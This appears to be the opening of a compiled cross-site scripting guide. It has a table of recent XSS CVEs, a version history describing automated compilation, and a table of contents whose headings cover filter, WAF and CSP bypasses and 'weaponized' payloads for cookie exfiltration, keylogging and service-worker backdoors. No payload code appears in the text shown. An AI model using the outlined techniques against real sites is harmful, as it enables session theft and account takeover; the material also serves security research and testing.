CVE-2026-27243	Multiple targets	XSS surge	4 new CVEs in single week (2026)
CVE-2025-26244	DeimosC2	Stored XSS → RCE	C2 framework compromise
CVE-2025-25461	SeedDMS	Stored XSS	Document management system
CVE-2025-66412	Angular	Stored XSS via SVG	SVG animation attack vector
CVE-2025-0133	PAN-OS GlobalProtect	Reflected XSS	Palo Alto Networks firewall
CVE-2026-32201	SharePoint	Zero-day XSS	Microsoft Patch Tuesday fix
CVE-2025-6023	Grafana	Full account takeover	Incomplete fix leads to XSS
CVE-2025-6197	Grafana	XSS vulnerability	Related to CVE-2025-6023
CVE-2025-4123	Grafana	XSS vulnerability	Account takeover chain
CVE-2026-0594	WordPress	Reflected XSS	Core WordPress vulnerability
CVE-2026-33510	Homarr	DOM-based XSS	Home dashboard application
CVE-2025-67906	MISP	Stored XSS	Workflow engine exploitation
CVE-2026-34519	AIOHTTP	XSS vulnerability	Python async HTTP library
CVE-2026-32629	phpMyFAQ	XSS vulnerability	FAQ management system
CVE-2025-53892	vue-i18n	XSS vulnerability	Vue.js internationalization

Version History

v1.0 (2026-04-10) — Initial guide compiled from 294 articles in ~/Documents/obsidian/chs/raw/XSS/
v1.1 (2026-05-02) — Major content enhancement via automated analysis pipeline. Added 23 new CVEs (CVE-2026-42520/23/24, CVE-2025-48700/66376, CVE-2025-26244, CVE-2025-66412, CVE-2025-6023/6197/4123, etc.), Zimbra mass exploitation campaign analysis, Grafana account takeover chain, modern Angular SVG XSS patterns, comprehensive real-world attack chains. Enhanced with 461 unique insights extracted from 342 analyzed articles using deduplication-enabled content analysis pipeline. Total source articles: 636.

Content systematically enhanced via automated analysis of curated XSS research articles with intelligent deduplication to prevent redundant additions.

Comprehensive XSS Guide#

Table of Contents#

1. Fundamentals#

2. Attack Surface & Entry Points#

Common injection points#

Sources → Sinks (DOM XSS)#

3. Context-Aware Payloads#

HTML element body context#

HTML attribute context#

JavaScript string context#

JavaScript code context (no string quoting)#

Inside <script> block#

CSS context#

URL context#

Textarea / title / noscript / noembed / script contexts#

4. Filter Bypass Techniques#

Case variation#

HTML entities#

JavaScript escapes#

Comments / whitespace tricks#

Tag-break bypasses#

Character encoding bypasses#

Protocol obfuscation#

No-alphanumeric / obscure JS#

5. WAF Bypasses#

HTTP parameter pollution (HPP)#

Character set / encoding tricks#

Hackbot-discovered bypass (escaped character differential)#

Signature evasion#

6. CSP Bypass Techniques#

Quick CSP audit#

Common bypass vectors#

Tools#

7. Mutation XSS (mXSS)#

Classic DOMPurify bypass (math/svg foreign content)#

Firefox CDATA variant#

Why defending is hard#

8. DOM Clobbering & Prototype Pollution#

DOM clobbering basics#

Bootstrap 3 DOM clobbering XSS (CVE-2025-1647)#

Prototype pollution → XSS#

9. Framework-Specific XSS#

React#

Vue#

Angular (modern, 2+)#

AngularJS (1.x) — see dedicated section#

10. AngularJS Sandbox Escapes#

Canonical payloads by version#

SVG variant (works when {​{ }} filtered)#

No-quote / no-constructor bypasses (historical Uber writeup)#

11. postMessage & DOM XSS#

postMessage vulnerabilities#

Defense:#

DOM XSS sources → sinks#

12. SVG, PDF & File Upload XSS#

SVG XSS#

PDF XSS (PDF.js, Acrobat)#

HTML file upload#

13. Blind XSS#

Detection#

Payload template#

High-value blind XSS injection points#

DKIM-signed email XSS (Horde CVE-2025-68673)#

14. Weaponized XSS Payloads#

Cookie / token exfiltration#

Account takeover via API#

CSRF token bypass#

Keylogger#

Form hijacking#

Persistent backdoor via service worker#

Phishing overlay#

15. Polyglots#

Ultimate XSS Polyglot (144 chars)#

Shorter alternatives#

16. Real-World Exploitation Chains#

Magento 2.3.1: Stored XSS → RCE#

Arista Firewall: XSS → RCE (CVE-2025-6978/6979/6980)#

Worm / self-propagation pattern#

Banking session theft campaign (2023)#

Zimbra Mass Exploitation Campaign (2025-2026)#